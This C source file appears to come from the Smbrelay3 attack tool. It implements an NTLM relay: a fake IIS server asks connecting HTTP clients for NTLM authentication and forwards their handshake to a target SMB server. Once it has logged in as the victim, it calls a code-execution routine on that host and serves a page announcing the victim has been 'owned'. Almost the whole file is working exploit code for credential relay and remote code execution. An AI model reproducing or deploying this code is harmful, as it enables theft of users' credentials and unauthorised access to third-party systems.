00001
00002
00003
00004
00005
00006
00007
00008
00009
00010
00011
00012
00013
00014
00015
00016
00017
00018
00019
00020
00021
00022
00023
00024
00025
00026
00027
00028
00029
00030
00031
00032
00033
00034
00035
00036
00037
00038
00039
00040
00041
00042
00043 #include "httprelay.h"
00044 #include "payload.h"
00045
00046 extern int verbose;
00047 extern int ProxySMB;
00048
00049 int HandleIncommingHTTPRequest(RELAY *relay, char *destinationhostname,int destinationport)
00050 {
00051 char request[4096];
00052 int leido=0;
00053 int total=0;
00054 char **header;
00055 unsigned int nheaders=0;
00056 char *data;
00057 char *p;
00058 int i;
00059 char buf[4096];
00060 char buf1[4096];
00061 char buf2[4096];
00062 uint16 packetlen;
00063 smheader *SmbPacket1, *SmbPacket2, *SmbPacket3;
00064 smheader *NegotiateProtocol;
00065 char CurrentUserName[256];
00066 char CurrentDomain[256];
00067 char CurrentWorkstation[256];
00068 const uint8 SpoofedChallengeKey[]="\x11\x22\x33\x44\x55\x66\x77\x88";
00069
00070
00071
00072 char InitialResponse[]= "HTTP/1.1 401 Unauthorized\r\n"
00073 "Content-Length: 0\r\n"
00074 "Content-Type: text/html\r\n"
00075 "Server: Microsoft-IIS/6.0\r\n"
00076 "WWW-Authenticate: NTLM\r\n"
00077 "Connection: keep-alive\r\n\r\n";
00078 char owned[4096]="<html><title>smbrelay owning</title><body><h1>You have been owned by Smbrelay3</body></html>";
00079
00080 memset(request,'\0',sizeof(request));
00081 total=ReadRequest(relay,(char*)&request,sizeof(request));
00082 if (total<=0) return(1);
00083 printf("[+] Reading Initial HTTP Request...\r");
00084 CleanLine(verbose);
00085 if (verbose){
00086 printf("\n");
00087 if (debug) {
00088 printf("\n%s\n",request);
00089 }
00090 }
00091 do {
00092
00093 printf("[+] Sending Default HTTP 401 Error response and asking for authentiation NTLM\r");
00094 CleanLine(verbose);
00095 send(relay->source,InitialResponse,(int)strlen(InitialResponse),0);
00096
00097 memset(request,'\0',sizeof(request));
00098 total=ReadRequest(relay,(char*)&request,sizeof(request));
00099 if (total<=0) return(1);
00100 CleanLine(verbose);
00101 printf("[+] Reading Second HTTP Request with Auhorization Header..\r");
00102 header=ParseHeaders(request,&nheaders);
00103 data=GetHeaderValue(header, nheaders, "Authorization: NTLM ") ;
00104 if (!data) {
00105 if (verbose) printf("\n");
00106 if (debug) {
00107 CleanLine(verbose);
00108 printf("[+] Ooops! Authorization header missing\n");
00109 printf("%s\n",request);
00110 return(0);
00111 }
00112 } else {
00113 if (verbose) printf("\n%s\n",request);
00114 }
00115 } while (!data);
00116
00117 if (verbose) {
00118 CleanLine(verbose);
00119 printf("[+] Authorization header received.\n");
00120 if (debug) {
00121 printf("%s\n",data);
00122 }
00123 }
00124
00125 if (!ProxySMB)
00126 {
00127 CleanLine(verbose);
00128 printf("[+] Init HTTP to SMB attack - Connecting with: %s:%i\r",destinationhostname,destinationport);
00129 i=ConnectToRemoteHost(relay,destinationhostname,destinationport);
00130 if (!i) {
00131 CleanLine(verbose);
00132 printf("[-] Unable to connect to remote host %s:%i\r",destinationhostname,destinationport);
00133 return(0);
00134 }
00135 if (verbose) printf("\n");
00136 printf("Sending SMB Authentication Handshake \r");
00137 p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i);
00138 p = AddDialect(p,"LANMAN1.0", 0x02,&i);
00139 p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i);
00140 p = AddDialect(p,"LM1.2X002", 0x02,&i);
00141 p = AddDialect(p,"LANMAN2.1", 0x02,&i);
00142 p = AddDialect(p,"NT LM 0.12", 0x02,&i);
00143 NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i);
00144 free(p);
00145 i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00146 free(NegotiateProtocol);
00147
00148 if (i<=0){
00149 printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed \n");
00150 return(0);
00151
00152 }
00153 memset(buf,'\0',sizeof(buf));
00154
00155 SmbPacket1=BuildSmbPacket1();
00156 if (debug) {
00157 printf("\n[*]Dumping SMB Packet With NTLM Message Type 1 \n");
00158 DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1));
00159 }
00160
00161 SmbPacket2=GetSmbPacket2(relay,SmbPacket1);
00162 if (SmbPacket2==NULL) {
00163 printf("Unable to receive SMB Packet with NTLM Message Type 2 \n");
00164 return(0);
00165 }
00166 printf("Received SMB Message with NTLM v2 packet\n");
00167 memcpy((char*)&packetlen,GetNTLMPacketFromSmbPacket(SmbPacket2)-4,2);
00168
00169 if (debug) {
00170 printf("SMB Packet Dump:\n");
00171 DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2));
00172 printf("NTLM Challenge packet from SMB message\n");
00173 DumpMem((char*)GetNTLMPacketFromSmbPacket(SmbPacket2),packetlen);
00174
00175
00176 }
00177 if (verbose)
00178 {
00179 printf("[+] Debug Information \n");
00180 dumpAuthChallenge(0,(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2));
00181 }
00182
00183 ((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0x0000b207;
00184
00185 to64frombits((unsigned char*)&buf1, (unsigned char*)GetNTLMPacketFromSmbPacket(SmbPacket2), packetlen);
00186 } else {
00187
00188
00189
00190 }
00191
00192
00193
00194 sprintf(buf,"HTTP/1.1 401 Access Denied\r\nServer: Microsoft-IIS/6.0\r\nWWW-Authenticate: NTLM %s\r\nContent-Length: 0\r\nContent-Type: text/html\r\n\r\n",buf1);
00195
00196 printf("Sending NTLM Challenge from SMB Server to the HTTP Client\n");
00197 if (verbose)
00198 {
00199 printf("Sending HTTP Response: %s\n",buf);
00200 }
00201 send(relay->source,buf,(int)strlen(buf),0);
00202
00203 total=ReadRequest(relay,(char*)&request,sizeof(request));
00204 if (total<=0) {
00205 printf("Error reading Final Authentication packet from HTTP Client\n");
00206 return(1);
00207 }
00208 printf("Received Final Authentication packet from remote HTTP Client\n");
00209 if(verbose)
00210 {
00211 printf("%s\n",request);
00212 }
00213 header=ParseHeaders(request,&nheaders);
00214 data=GetHeaderValue(header, nheaders, "Authorization: NTLM ") ;
00215 if (!data) {
00216 printf("Ooops! Authorization header missing\n");
00217 return(0);
00218 }
00219
00220
00221 memset((char*)&buf1,'\0',sizeof(buf1));
00222 packetlen=from64tobits(buf1, data);
00223 if (verbose) {
00224 if (debug)
00225 {
00226 printf("Raw authorization packet (len: %i)\n",packetlen);
00227 DumpMem(buf1,packetlen+10);
00228 }
00229 dumpAuthResponse(0,(tSmbNtlmAuthResponse*)buf1);
00230 }
00231 if ( ((tSmbNtlmAuthResponse*)buf1)->ntResponse.len != 24 )
00232 {
00233 printf("[-] Remote HTTP Client forced NTLMv2 Authentication\n");
00234 strcpy(request,"HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nConnection: close\r\n\r\n");
00235 send(relay->source,request,(int)strlen(request),0);
00236 return(0);
00237 }
00238
00239
00240 GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose);
00241 printf("Trying to authenticate to remote SMB as %s\n",CurrentUserName);
00242
00243
00244
00245 buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,CurrentUserName,NULL,NULL,CurrentWorkstation, (tSmbNtlmAuthResponse*)buf1);
00246
00247
00248 SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2));
00249
00250 printf("Sending Final SMB Authentication packet with NTLM Message type 3 \r");
00251 if (verbose) printf("\n");
00252 if (debug)
00253 {
00254 DumpMem((char*)SmbPacket3, SmbPacketLen(SmbPacket3));
00255 }
00256
00257 i=SendBytesAndWaitForResponse(relay->destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00258 if (i<=0){
00259 printf("[-] Error reading Server Authentication Response \n");
00260 return(0);
00261
00262 }
00263 if (debug) {
00264 printf("[-] SessionSetupAndX Completed - Dumping received packet \n");
00265 DumpMem(buf,i);
00266 }
00267
00268 if (((smheader*)buf)->NtStatus!=0x00000000) {
00269 strcpy(request,"HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nConnection: close\r\n\r\n");
00270 send(relay->source,request,(int)strlen(request),0);
00271 printf("[-] SessionSetupAndX Completed. Authentication Failed \n");
00272 return(0);
00273 }
00274
00275
00276
00277 printf("SessionSetupAndX Completed. Authenticacion against %s Succeed as %s\r",destinationhostname,CurrentUserName);
00278 if (verbose)
00279 {
00280 printf("\n");
00281 sprintf(owned,"<html><title>smbrelay III</title><body><h1>Dear %s\\%s<br></h1> Your credentials were replayed against %s and code execution succeed</body></html>",CurrentWorkstation,CurrentUserName,destinationhostname);
00282
00283 }
00284
00285 sprintf(request,"HTTP/1.1 200 OK\r\nContent-Length: %i\r\nConnection: close\r\n\r\n%s",strlen(owned),owned);
00286 send(relay->source,request,(int)strlen(request),0);
00287 ExecuteCode( *relay);
00288 return(1);
00289
00290 }
00291 int ReadRequest(RELAY *relay, char *request, int requestsize)
00292 {
00293 int leido=0;
00294 int total=0;
00295 int EndOfRequest=0;
00296 do
00297 {
00298 leido=recv( relay->source,request+total,requestsize-total,0 );
00299 total+=leido;
00300 EndOfRequest=(strcmp(request+total-4,"\r\n\r\n")==0);
00301 } while ( (!EndOfRequest) && (leido>0) );
00302 return(total);
00303
00304 }
00305
00306 char **ParseHeaders(char *lpBuffer, unsigned int *nheaders)
00307 {
00308 char *next;
00309 char *current=lpBuffer;
00310 char **header;
00311
00312 header=NULL;
00313 *nheaders=0;
00314
00315 if ( (!lpBuffer) ||(*lpBuffer=='\0') )
00316 {
00317 *nheaders=0;
00318 return(NULL);
00319 }
00320 do {
00321
00322 next=strchr(current,'\n');
00323 header=(char **)realloc(header,sizeof(char*)*(*nheaders+1));
00324 if (next) {
00325 next[0]='\0';
00326 if (*(next-1)=='\r') *(next-1)='\0';
00327 }
00328 header[*nheaders]=current;
00329 *nheaders=*nheaders+1;
00330 if (!next) break;
00331 current=next+1;
00332 } while ((*current!='\r') && (*current!='\n') );
00333 return(header);
00334 }
00335
00336 char *GetHeaderValue(char **header, int nheaders, char *Header)
00337 {
00338
00339
00340 for(unsigned int i=1;i<(unsigned int)nheaders;i++)
00341 {
00342 if (_strnicmp(header[i],Header,strlen(Header))==0)
00343 {
00344 return(header[i] + strlen(Header));
00345 }
00346 }
00347 return(NULL);
00348
00349 }
00350